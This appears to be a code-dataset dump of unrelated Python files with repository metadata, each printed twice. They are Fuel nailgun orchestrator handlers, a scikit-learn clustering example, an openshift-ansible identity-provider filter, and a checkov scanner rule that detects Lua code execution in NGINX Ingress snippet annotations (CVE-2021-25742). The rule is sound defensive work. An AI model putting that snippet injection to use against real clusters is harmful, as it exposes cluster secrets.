import traceback import six import web from nailgun.api.v1.handlers.base import BaseHandler from nailgun.api.v1.handlers.base import content from nailgun.api.v1.validators.cluster import ProvisionSelectedNodesValidator from nailgun.api.v1.validators.graph import GraphVisualizationValidator from nailgun.api.v1.validators.node import DeploySelectedNodesValidator from nailgun.api.v1.validators.node import NodeDeploymentValidator from nailgun.api.v1.validators.node import NodesFilterValidator from nailgun.logger import logger from nailgun import objects from nailgun.orchestrator import deployment_graph from nailgun.orchestrator import deployment_serializers from nailgun.orchestrator import graph_visualization from nailgun.orchestrator import provisioning_serializers from nailgun.orchestrator.stages import post_deployment_serialize from nailgun.orchestrator.stages import pre_deployment_serialize from nailgun.task.helpers import TaskHelper from nailgun.task import manager class NodesFilterMixin(object): validator = NodesFilterValidator def get_default_nodes(self, cluster): raise NotImplementedError('Please Implement this method') def get_nodes(self, cluster): nodes = web.input(nodes=None).nodes if nodes: node_ids = self.checked_data(data=nodes) return self.get_objects_list_or_404( objects.NodeCollection, node_ids ) return self.get_default_nodes(cluster) or [] class DefaultOrchestratorInfo(NodesFilterMixin, BaseHandler): @content def GET(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) nodes = self.get_nodes(cluster) return self._serialize(cluster, nodes) def _serialize(self, cluster, nodes): raise NotImplementedError('Override the method') class OrchestratorInfo(BaseHandler): def get_orchestrator_info(self, cluster): raise NotImplementedError('Please Implement this method') def update_orchestrator_info(self, cluster, data): raise NotImplementedError('Please Implement this method') @content def GET(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) return self.get_orchestrator_info(cluster) @content def PUT(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) data = self.checked_data() self.update_orchestrator_info(cluster, data) logger.debug('OrchestratorInfo:' ' facts for cluster_id {0} were uploaded' .format(cluster_id)) return data @content def DELETE(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) self.update_orchestrator_info(cluster, {}) raise self.http(202, '{}') class DefaultProvisioningInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): return provisioning_serializers.serialize( cluster, nodes, ignore_customized=True) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_provision(cluster) class DefaultDeploymentInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): graph = deployment_graph.AstuteGraph(cluster) return deployment_serializers.serialize( graph, cluster, nodes, ignore_customized=True) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) class DefaultPrePluginsHooksInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): graph = deployment_graph.AstuteGraph(cluster) return pre_deployment_serialize(graph, cluster, nodes) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) class DefaultPostPluginsHooksInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): graph = deployment_graph.AstuteGraph(cluster) return post_deployment_serialize(graph, cluster, nodes) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) class ProvisioningInfo(OrchestratorInfo): def get_orchestrator_info(self, cluster): return objects.Cluster.get_provisioning_info(cluster) def update_orchestrator_info(self, cluster, data): return objects.Cluster.replace_provisioning_info(cluster, data) class DeploymentInfo(OrchestratorInfo): def get_orchestrator_info(self, cluster): return objects.Cluster.get_deployment_info(cluster) def update_orchestrator_info(self, cluster, data): return objects.Cluster.replace_deployment_info(cluster, data) class SelectedNodesBase(NodesFilterMixin, BaseHandler): def handle_task(self, cluster, **kwargs): nodes = self.get_nodes(cluster) try: task_manager = self.task_manager(cluster_id=cluster.id) task = task_manager.execute(nodes, **kwargs) except Exception as exc: logger.warn( u'Cannot execute %s task nodes: %s', task_manager.__class__.__name__, traceback.format_exc()) raise self.http(400, message=six.text_type(exc)) self.raise_task(task) @content def PUT(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) return self.handle_task(cluster) class ProvisionSelectedNodes(SelectedNodesBase): validator = ProvisionSelectedNodesValidator task_manager = manager.ProvisioningTaskManager def get_default_nodes(self, cluster): return TaskHelper.nodes_to_provision(cluster) @content def PUT(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) self.checked_data(self.validator.validate_provision, cluster=cluster) return self.handle_task(cluster) class BaseDeploySelectedNodes(SelectedNodesBase): validator = DeploySelectedNodesValidator task_manager = manager.DeploymentTaskManager def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) def get_nodes(self, cluster): nodes_to_deploy = super( BaseDeploySelectedNodes, self).get_nodes(cluster) self.validate(cluster, nodes_to_deploy) return nodes_to_deploy def validate(self, cluster, nodes_to_deploy): self.checked_data(self.validator.validate_nodes_to_deploy, nodes=nodes_to_deploy, cluster_id=cluster.id) self.checked_data(self.validator.validate_release, cluster=cluster) class DeploySelectedNodes(BaseDeploySelectedNodes): def get_nodes(self, cluster): nodes_to_deploy = super( DeploySelectedNodes, self).get_nodes(cluster) self.validate(cluster, nodes_to_deploy) return nodes_to_deploy @content def PUT(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) return self.handle_task(cluster) class DeploySelectedNodesWithTasks(BaseDeploySelectedNodes): validator = NodeDeploymentValidator @content def PUT(self, cluster_id): cluster = self.get_object_or_404(objects.Cluster, cluster_id) data = self.checked_data( self.validator.validate_deployment, cluster=cluster) return self.handle_task(cluster, deployment_tasks=data) class TaskDeployGraph(BaseHandler): validator = GraphVisualizationValidator def GET(self, cluster_id): web.header('Content-Type', 'text/vnd.graphviz', unique=True) cluster = self.get_object_or_404(objects.Cluster, cluster_id) tasks = objects.Cluster.get_deployment_tasks(cluster) graph = deployment_graph.DeploymentGraph(tasks) tasks = web.input(tasks=None).tasks parents_for = web.input(parents_for=None).parents_for remove = web.input(remove=None).remove if tasks: tasks = self.checked_data( self.validator.validate, data=tasks, cluster=cluster) logger.debug('Tasks used in dot graph %s', tasks) if parents_for: parents_for = self.checked_data( self.validator.validate_task_presence, data=parents_for, graph=graph) logger.debug('Graph with predecessors for %s', parents_for) if remove: remove = list(set(remove.split(','))) remove = self.checked_data( self.validator.validate_tasks_types, data=remove) logger.debug('Types to remove %s', remove) visualization = graph_visualization.GraphVisualization(graph) dotgraph = visualization.get_dotgraph(tasks=tasks, parents_for=parents_for, remove=remove) return dotgraph.to_string()
true
true
f7f3aaaafce990bd4361c22570f5af6a31088698
1,446
py
Python
checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py
nmrad-91/checkov
ce8ace76fd5bec6ba95697163a03d18b2611a9f7
[ "Apache-2.0" ]
null
null
null
checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py
nmrad-91/checkov
ce8ace76fd5bec6ba95697163a03d18b2611a9f7
[ "Apache-2.0" ]
null
null
null
checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py
nmrad-91/checkov
ce8ace76fd5bec6ba95697163a03d18b2611a9f7
[ "Apache-2.0" ]
null
null
null
from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.common.util.type_forcers import force_list import re class NginxIngressCVE202125742Lua(BaseK8Check): def __init__(self): name = "Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742" id = "CKV_K8S_152" supported_kind = ['Ingress'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def get_resource_id(self, conf): if "namespace" in conf["metadata"]: return "{}.{}.{}".format(conf["kind"], conf["metadata"]["name"], conf["metadata"]["namespace"]) else: return "{}.{}.default".format(conf["kind"], conf["metadata"]["name"]) def scan_spec_conf(self, conf): badInjectionPatterns = "\\blua_|_lua\\b|_lua_|\\bkubernetes\\.io\\b" if conf["metadata"]: if conf["metadata"].get('annotations'): for annotation in force_list(conf["metadata"]["annotations"]): for key, value in annotation.items(): if "snippet" in key and re.match(badInjectionPatterns, value): return CheckResult.FAILED return CheckResult.PASSED check = NginxIngressCVE202125742Lua()
42.529412
111
0.654219
from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.common.util.type_forcers import force_list import re class NginxIngressCVE202125742Lua(BaseK8Check): def __init__(self): name = "Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742" id = "CKV_K8S_152" supported_kind = ['Ingress'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def get_resource_id(self, conf): if "namespace" in conf["metadata"]: return "{}.{}.{}".format(conf["kind"], conf["metadata"]["name"], conf["metadata"]["namespace"]) else: return "{}.{}.default".format(conf["kind"], conf["metadata"]["name"]) def scan_spec_conf(self, conf): badInjectionPatterns = "\\blua_|_lua\\b|_lua_|\\bkubernetes\\.io\\b" if conf["metadata"]: if conf["metadata"].get('annotations'): for annotation in force_list(conf["metadata"]["annotations"]): for key, value in annotation.items(): if "snippet" in key and re.match(badInjectionPatterns, value): return CheckResult.FAILED return CheckResult.PASSED check = NginxIngressCVE202125742Lua()
true
true
f7f3aacdff038f84e4a1470c513ea18a04b6f288
4,300
py
Python
examples/cluster/plot_adjusted_for_chance_measures.py
DeuroIO/Deuro-scikit-learn
9dd09a19593d1224077fe0d1a754aed936269528
[ "MIT" ]
5
2018-07-04T22:13:54.000Z
2018-07-04T22:21:29.000Z
examples/cluster/plot_adjusted_for_chance_measures.py
DeuroIO/Deuro-scikit-learn
9dd09a19593d1224077fe0d1a754aed936269528
[ "MIT" ]
11
2019-11-02T17:24:17.000Z
2019-11-02T17:33:17.000Z
examples/cluster/plot_adjusted_for_chance_measures.py
DeuroIO/Deuro-scikit-learn
9dd09a19593d1224077fe0d1a754aed936269528
[ "MIT" ]
4
2019-07-18T10:43:53.000Z
2020-06-19T12:54:39.000Z
""" ========================================================== Adjustment for chance in clustering performance evaluation ========================================================== The following plots demonstrate the impact of the number of clusters and number of samples on various clustering performance evaluation metrics. Non-adjusted measures such as the V-Measure show a dependency between the number of clusters and the number of samples: the mean V-Measure of random labeling increases significantly as the number of clusters is closer to the total number of samples used to compute the measure. Adjusted for chance measure such as ARI display some random variations centered around a mean score of 0.0 for any number of samples and clusters. Only adjusted measures can hence safely be used as a consensus index to evaluate the average stability of clustering algorithms for a given value of k on various overlapping sub-samples of the dataset. """ print(__doc__) # Author: Olivier Grisel <olivier.grisel@ensta.org> # License: BSD 3 clause import numpy as np import matplotlib.pyplot as plt from time import time from sklearn import metrics def uniform_labelings_scores(score_func, n_samples, n_clusters_range, fixed_n_classes=None, n_runs=5, seed=42): """Compute score for 2 random uniform cluster labelings. Both random labelings have the same number of clusters for each value possible value in ``n_clusters_range``. When fixed_n_classes is not None the first labeling is considered a ground truth class assignment with fixed number of classes. """ random_labels = np.random.RandomState(seed).randint scores = np.zeros((len(n_clusters_range), n_runs)) if fixed_n_classes is not None: labels_a = random_labels(low=0, high=fixed_n_classes, size=n_samples) for i, k in enumerate(n_clusters_range): for j in range(n_runs): if fixed_n_classes is None: labels_a = random_labels(low=0, high=k, size=n_samples) labels_b = random_labels(low=0, high=k, size=n_samples) scores[i, j] = score_func(labels_a, labels_b) return scores score_funcs = [ metrics.adjusted_rand_score, metrics.v_measure_score, metrics.adjusted_mutual_info_score, metrics.mutual_info_score, ] # 2 independent random clusterings with equal cluster number n_samples = 100 n_clusters_range = np.linspace(2, n_samples, 10).astype(np.int) plt.figure(1) plots = [] names = [] for score_func in score_funcs: print("Computing %s for %d values of n_clusters and n_samples=%d" % (score_func.__name__, len(n_clusters_range), n_samples)) t0 = time() scores = uniform_labelings_scores(score_func, n_samples, n_clusters_range) print("done in %0.3fs" % (time() - t0)) plots.append(plt.errorbar( n_clusters_range, np.median(scores, axis=1), scores.std(axis=1))[0]) names.append(score_func.__name__) plt.title("Clustering measures for 2 random uniform labelings\n" "with equal number of clusters") plt.xlabel('Number of clusters (Number of samples is fixed to %d)' % n_samples) plt.ylabel('Score value') plt.legend(plots, names) plt.ylim(ymin=-0.05, ymax=1.05) # Random labeling with varying n_clusters against ground class labels # with fixed number of clusters n_samples = 1000 n_clusters_range = np.linspace(2, 100, 10).astype(np.int) n_classes = 10 plt.figure(2) plots = [] names = [] for score_func in score_funcs: print("Computing %s for %d values of n_clusters and n_samples=%d" % (score_func.__name__, len(n_clusters_range), n_samples)) t0 = time() scores = uniform_labelings_scores(score_func, n_samples, n_clusters_range, fixed_n_classes=n_classes) print("done in %0.3fs" % (time() - t0)) plots.append(plt.errorbar( n_clusters_range, scores.mean(axis=1), scores.std(axis=1))[0]) names.append(score_func.__name__) plt.title("Clustering measures for random uniform labeling\n" "against reference assignment with %d classes" % n_classes) plt.xlabel('Number of clusters (Number of samples is fixed to %d)' % n_samples) plt.ylabel('Score value') plt.ylim(ymin=-0.05, ymax=1.05) plt.legend(plots, names) plt.show()
34.95935
79
0.705581
print(__doc__) import numpy as np import matplotlib.pyplot as plt from time import time from sklearn import metrics def uniform_labelings_scores(score_func, n_samples, n_clusters_range, fixed_n_classes=None, n_runs=5, seed=42): random_labels = np.random.RandomState(seed).randint scores = np.zeros((len(n_clusters_range), n_runs)) if fixed_n_classes is not None: labels_a = random_labels(low=0, high=fixed_n_classes, size=n_samples) for i, k in enumerate(n_clusters_range): for j in range(n_runs): if fixed_n_classes is None: labels_a = random_labels(low=0, high=k, size=n_samples) labels_b = random_labels(low=0, high=k, size=n_samples) scores[i, j] = score_func(labels_a, labels_b) return scores score_funcs = [ metrics.adjusted_rand_score, metrics.v_measure_score, metrics.adjusted_mutual_info_score, metrics.mutual_info_score, ] n_samples = 100 n_clusters_range = np.linspace(2, n_samples, 10).astype(np.int) plt.figure(1) plots = [] names = [] for score_func in score_funcs: print("Computing %s for %d values of n_clusters and n_samples=%d" % (score_func.__name__, len(n_clusters_range), n_samples)) t0 = time() scores = uniform_labelings_scores(score_func, n_samples, n_clusters_range) print("done in %0.3fs" % (time() - t0)) plots.append(plt.errorbar( n_clusters_range, np.median(scores, axis=1), scores.std(axis=1))[0]) names.append(score_func.__name__) plt.title("Clustering measures for 2 random uniform labelings\n" "with equal number of clusters") plt.xlabel('Number of clusters (Number of samples is fixed to %d)' % n_samples) plt.ylabel('Score value') plt.legend(plots, names) plt.ylim(ymin=-0.05, ymax=1.05) n_samples = 1000 n_clusters_range = np.linspace(2, 100, 10).astype(np.int) n_classes = 10 plt.figure(2) plots = [] names = [] for score_func in score_funcs: print("Computing %s for %d values of n_clusters and n_samples=%d" % (score_func.__name__, len(n_clusters_range), n_samples)) t0 = time() scores = uniform_labelings_scores(score_func, n_samples, n_clusters_range, fixed_n_classes=n_classes) print("done in %0.3fs" % (time() - t0)) plots.append(plt.errorbar( n_clusters_range, scores.mean(axis=1), scores.std(axis=1))[0]) names.append(score_func.__name__) plt.title("Clustering measures for random uniform labeling\n" "against reference assignment with %d classes" % n_classes) plt.xlabel('Number of clusters (Number of samples is fixed to %d)' % n_samples) plt.ylabel('Score value') plt.ylim(ymin=-0.05, ymax=1.05) plt.legend(plots, names) plt.show()
true
true
f7f3ac2b1bc335690dbcd8f7175ad3d7f2c28614
22,339
py
Python
roles/openshift_master_facts/filter_plugins/openshift_master.py
Ravichandramanupati/openshift
1720af442f0b02359ce4cc70d32adca15d9d26ab
[ "Apache-2.0" ]
1
2017-11-01T05:46:27.000Z
2017-11-01T05:46:27.000Z
roles/openshift_master_facts/filter_plugins/openshift_master.py
gloria-sentinella/openshift-ansible
e03493f33073965ddf8c49256df80143059a2a51
[ "Apache-2.0" ]
3
2016-12-01T23:01:36.000Z
2016-12-02T00:16:48.000Z
roles/openshift_master_facts/filter_plugins/openshift_master.py
gloria-sentinella/openshift-ansible
e03493f33073965ddf8c49256df80143059a2a51
[ "Apache-2.0" ]
1
2018-01-30T05:44:59.000Z
2018-01-30T05:44:59.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- ''' Custom filters for use in openshift-master ''' import copy import sys from ansible import errors from ansible.parsing.yaml.dumper import AnsibleDumper from ansible.plugins.filter.core import to_bool as ansible_bool # ansible.compat.six goes away with Ansible 2.4 try: from ansible.compat.six import string_types, u except ImportError: from ansible.module_utils.six import string_types, u import yaml class IdentityProviderBase(object): """ IdentityProviderBase Attributes: name (str): Identity provider Name login (bool): Is this identity provider a login provider? challenge (bool): Is this identity provider a challenge provider? provider (dict): Provider specific config _idp (dict): internal copy of the IDP dict passed in _required (list): List of lists of strings for required attributes _optional (list): List of lists of strings for optional attributes _allow_additional (bool): Does this provider support attributes not in _required and _optional Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ # disabling this check since the number of instance attributes are # necessary for this class # pylint: disable=too-many-instance-attributes def __init__(self, api_version, idp): if api_version not in ['v1']: raise errors.AnsibleFilterError("|failed api version {0} unknown".format(api_version)) self._idp = copy.deepcopy(idp) if 'name' not in self._idp: raise errors.AnsibleFilterError("|failed identity provider missing a name") if 'kind' not in self._idp: raise errors.AnsibleFilterError("|failed identity provider missing a kind") self.name = self._idp.pop('name') self.login = ansible_bool(self._idp.pop('login', False)) self.challenge = ansible_bool(self._idp.pop('challenge', False)) self.provider = dict(apiVersion=api_version, kind=self._idp.pop('kind')) mm_keys = ('mappingMethod', 'mapping_method') mapping_method = None for key in mm_keys: if key in self._idp: mapping_method = self._idp.pop(key) if mapping_method is None: mapping_method = self.get_default('mappingMethod') self.mapping_method = mapping_method valid_mapping_methods = ['add', 'claim', 'generate', 'lookup'] if self.mapping_method not in valid_mapping_methods: raise errors.AnsibleFilterError("|failed unknown mapping method " "for provider {0}".format(self.__class__.__name__)) self._required = [] self._optional = [] self._allow_additional = True @staticmethod def validate_idp_list(idp_list): ''' validates a list of idps ''' names = [x.name for x in idp_list] if len(set(names)) != len(names): raise errors.AnsibleFilterError("|failed more than one provider configured with the same name") for idp in idp_list: idp.validate() def validate(self): ''' validate an instance of this idp class ''' pass @staticmethod def get_default(key): ''' get a default value for a given key ''' if key == 'mappingMethod': return 'claim' else: return None def set_provider_item(self, items, required=False): ''' set a provider item based on the list of item names provided. ''' for item in items: provider_key = items[0] if item in self._idp: self.provider[provider_key] = self._idp.pop(item) break else: default = self.get_default(provider_key) if default is not None: self.provider[provider_key] = default elif required: raise errors.AnsibleFilterError("|failed provider {0} missing " "required key {1}".format(self.__class__.__name__, provider_key)) def set_provider_items(self): ''' set the provider items for this idp ''' for items in self._required: self.set_provider_item(items, True) for items in self._optional: self.set_provider_item(items) if self._allow_additional: for key in self._idp.keys(): self.set_provider_item([key]) else: if len(self._idp) > 0: raise errors.AnsibleFilterError("|failed provider {0} " "contains unknown keys " "{1}".format(self.__class__.__name__, ', '.join(self._idp.keys()))) def to_dict(self): ''' translate this idp to a dictionary ''' return dict(name=self.name, challenge=self.challenge, login=self.login, mappingMethod=self.mapping_method, provider=self.provider) class LDAPPasswordIdentityProvider(IdentityProviderBase): """ LDAPPasswordIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(LDAPPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['attributes'], ['url'], ['insecure']] self._optional += [['ca'], ['bindDN', 'bind_dn'], ['bindPassword', 'bind_password']] self._idp['insecure'] = ansible_bool(self._idp.pop('insecure', False)) if 'attributes' in self._idp and 'preferred_username' in self._idp['attributes']: pref_user = self._idp['attributes'].pop('preferred_username') self._idp['attributes']['preferredUsername'] = pref_user def validate(self): ''' validate this idp instance ''' if not isinstance(self.provider['attributes'], dict): raise errors.AnsibleFilterError("|failed attributes for provider " "{0} must be a dictionary".format(self.__class__.__name__)) attrs = ['id', 'email', 'name', 'preferredUsername'] for attr in attrs: if attr in self.provider['attributes'] and not isinstance(self.provider['attributes'][attr], list): raise errors.AnsibleFilterError("|failed {0} attribute for " "provider {1} must be a list".format(attr, self.__class__.__name__)) unknown_attrs = set(self.provider['attributes'].keys()) - set(attrs) if len(unknown_attrs) > 0: raise errors.AnsibleFilterError("|failed provider {0} has unknown " "attributes: {1}".format(self.__class__.__name__, ', '.join(unknown_attrs))) class KeystonePasswordIdentityProvider(IdentityProviderBase): """ KeystoneIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(KeystonePasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['url'], ['domainName', 'domain_name']] self._optional += [['ca'], ['certFile', 'cert_file'], ['keyFile', 'key_file']] class RequestHeaderIdentityProvider(IdentityProviderBase): """ RequestHeaderIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(RequestHeaderIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['headers']] self._optional += [['challengeURL', 'challenge_url'], ['loginURL', 'login_url'], ['clientCA', 'client_ca'], ['clientCommonNames', 'client_common_names'], ['emailHeaders', 'email_headers'], ['nameHeaders', 'name_headers'], ['preferredUsernameHeaders', 'preferred_username_headers']] def validate(self): ''' validate this idp instance ''' if not isinstance(self.provider['headers'], list): raise errors.AnsibleFilterError("|failed headers for provider {0} " "must be a list".format(self.__class__.__name__)) class AllowAllPasswordIdentityProvider(IdentityProviderBase): """ AllowAllPasswordIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(AllowAllPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False class DenyAllPasswordIdentityProvider(IdentityProviderBase): """ DenyAllPasswordIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(DenyAllPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False class HTPasswdPasswordIdentityProvider(IdentityProviderBase): """ HTPasswdPasswordIdentity Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(HTPasswdPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['file', 'filename', 'fileName', 'file_name']] @staticmethod def get_default(key): if key == 'file': return '/etc/origin/htpasswd' else: return IdentityProviderBase.get_default(key) class BasicAuthPasswordIdentityProvider(IdentityProviderBase): """ BasicAuthPasswordIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(BasicAuthPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['url']] self._optional += [['ca'], ['certFile', 'cert_file'], ['keyFile', 'key_file']] class IdentityProviderOauthBase(IdentityProviderBase): """ IdentityProviderOauthBase Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): super(IdentityProviderOauthBase, self).__init__(api_version, idp) self._allow_additional = False self._required += [['clientID', 'client_id'], ['clientSecret', 'client_secret']] def validate(self): ''' validate this idp instance ''' if self.challenge: raise errors.AnsibleFilterError("|failed provider {0} does not " "allow challenge authentication".format(self.__class__.__name__)) class OpenIDIdentityProvider(IdentityProviderOauthBase): """ OpenIDIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): IdentityProviderOauthBase.__init__(self, api_version, idp) self._required += [['claims'], ['urls']] self._optional += [['ca'], ['extraScopes'], ['extraAuthorizeParameters']] if 'claims' in self._idp and 'preferred_username' in self._idp['claims']: pref_user = self._idp['claims'].pop('preferred_username') self._idp['claims']['preferredUsername'] = pref_user if 'urls' in self._idp and 'user_info' in self._idp['urls']: user_info = self._idp['urls'].pop('user_info') self._idp['urls']['userInfo'] = user_info if 'extra_scopes' in self._idp: self._idp['extraScopes'] = self._idp.pop('extra_scopes') if 'extra_authorize_parameters' in self._idp: self._idp['extraAuthorizeParameters'] = self._idp.pop('extra_authorize_parameters') def validate(self): ''' validate this idp instance ''' IdentityProviderOauthBase.validate(self) if not isinstance(self.provider['claims'], dict): raise errors.AnsibleFilterError("|failed claims for provider {0} " "must be a dictionary".format(self.__class__.__name__)) for var, var_type in (('extraScopes', list), ('extraAuthorizeParameters', dict)): if var in self.provider and not isinstance(self.provider[var], var_type): raise errors.AnsibleFilterError("|failed {1} for provider " "{0} must be a {2}".format(self.__class__.__name__, var, var_type.__class__.__name__)) required_claims = ['id'] optional_claims = ['email', 'name', 'preferredUsername'] all_claims = required_claims + optional_claims for claim in required_claims: if claim in required_claims and claim not in self.provider['claims']: raise errors.AnsibleFilterError("|failed {0} claim missing " "for provider {1}".format(claim, self.__class__.__name__)) for claim in all_claims: if claim in self.provider['claims'] and not isinstance(self.provider['claims'][claim], list): raise errors.AnsibleFilterError("|failed {0} claims for " "provider {1} must be a list".format(claim, self.__class__.__name__)) unknown_claims = set(self.provider['claims'].keys()) - set(all_claims) if len(unknown_claims) > 0: raise errors.AnsibleFilterError("|failed provider {0} has unknown " "claims: {1}".format(self.__class__.__name__, ', '.join(unknown_claims))) if not isinstance(self.provider['urls'], dict): raise errors.AnsibleFilterError("|failed urls for provider {0} " "must be a dictionary".format(self.__class__.__name__)) required_urls = ['authorize', 'token'] optional_urls = ['userInfo'] all_urls = required_urls + optional_urls for url in required_urls: if url not in self.provider['urls']: raise errors.AnsibleFilterError("|failed {0} url missing for " "provider {1}".format(url, self.__class__.__name__)) unknown_urls = set(self.provider['urls'].keys()) - set(all_urls) if len(unknown_urls) > 0: raise errors.AnsibleFilterError("|failed provider {0} has unknown " "urls: {1}".format(self.__class__.__name__, ', '.join(unknown_urls))) class GoogleIdentityProvider(IdentityProviderOauthBase): """ GoogleIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): IdentityProviderOauthBase.__init__(self, api_version, idp) self._optional += [['hostedDomain', 'hosted_domain']] class GitHubIdentityProvider(IdentityProviderOauthBase): """ GitHubIdentityProvider Attributes: Args: api_version(str): OpenShift config version idp (dict): idp config dict Raises: AnsibleFilterError: """ def __init__(self, api_version, idp): IdentityProviderOauthBase.__init__(self, api_version, idp) self._optional += [['organizations'], ['teams']] class FilterModule(object): ''' Custom ansible filters for use by the openshift_master role''' @staticmethod def translate_idps(idps, api_version): ''' Translates a list of dictionaries into a valid identityProviders config ''' idp_list = [] if not isinstance(idps, list): raise errors.AnsibleFilterError("|failed expects to filter on a list of identity providers") for idp in idps: if not isinstance(idp, dict): raise errors.AnsibleFilterError("|failed identity providers must be a list of dictionaries") cur_module = sys.modules[__name__] idp_class = getattr(cur_module, idp['kind'], None) idp_inst = idp_class(api_version, idp) if idp_class is not None else IdentityProviderBase(api_version, idp) idp_inst.set_provider_items() idp_list.append(idp_inst) IdentityProviderBase.validate_idp_list(idp_list) return u(yaml.dump([idp.to_dict() for idp in idp_list], allow_unicode=True, default_flow_style=False, width=float("inf"), Dumper=AnsibleDumper)) @staticmethod def validate_pcs_cluster(data, masters=None): ''' Validates output from "pcs status", ensuring that each master provided is online. Ex: data = ('...', 'PCSD Status:', 'master1.example.com: Online', 'master2.example.com: Online', 'master3.example.com: Online', '...') masters = ['master1.example.com', 'master2.example.com', 'master3.example.com'] returns True ''' if not issubclass(type(data), string_types): raise errors.AnsibleFilterError("|failed expects data is a string or unicode") if not issubclass(type(masters), list): raise errors.AnsibleFilterError("|failed expects masters is a list") valid = True for master in masters: if "{0}: Online".format(master) not in data: valid = False return valid @staticmethod def certificates_to_synchronize(hostvars, include_keys=True, include_ca=True): ''' Return certificates to synchronize based on facts. ''' if not issubclass(type(hostvars), dict): raise errors.AnsibleFilterError("|failed expects hostvars is a dict") certs = ['admin.crt', 'admin.key', 'admin.kubeconfig', 'master.kubelet-client.crt', 'master.kubelet-client.key'] if bool(include_ca): certs += ['ca.crt', 'ca.key', 'ca-bundle.crt'] if bool(include_keys): certs += ['serviceaccounts.private.key', 'serviceaccounts.public.key'] if bool(hostvars['openshift']['common']['version_gte_3_1_or_1_1']): certs += ['master.proxy-client.crt', 'master.proxy-client.key'] if not bool(hostvars['openshift']['common']['version_gte_3_2_or_1_2']): certs += ['openshift-master.crt', 'openshift-master.key', 'openshift-master.kubeconfig'] if bool(hostvars['openshift']['common']['version_gte_3_3_or_1_3']): certs += ['service-signer.crt', 'service-signer.key'] if not bool(hostvars['openshift']['common']['version_gte_3_5_or_1_5']): certs += ['openshift-registry.crt', 'openshift-registry.key', 'openshift-registry.kubeconfig', 'openshift-router.crt', 'openshift-router.key', 'openshift-router.kubeconfig'] return certs @staticmethod def oo_htpasswd_users_from_file(file_contents): ''' return a dictionary of htpasswd users from htpasswd file contents ''' htpasswd_entries = {} if not isinstance(file_contents, string_types): raise errors.AnsibleFilterError("failed, expects to filter on a string") for line in file_contents.splitlines(): user = None passwd = None if len(line) == 0: continue if ':' in line: user, passwd = line.split(':', 1) if user is None or len(user) == 0 or passwd is None or len(passwd) == 0: error_msg = "failed, expects each line to be a colon separated string representing the user and passwd" raise errors.AnsibleFilterError(error_msg) htpasswd_entries[user] = passwd return htpasswd_entries def filters(self): ''' returns a mapping of filters to methods ''' return {"translate_idps": self.translate_idps, "validate_pcs_cluster": self.validate_pcs_cluster, "certificates_to_synchronize": self.certificates_to_synchronize, "oo_htpasswd_users_from_file": self.oo_htpasswd_users_from_file}
39.678508
120
0.58897
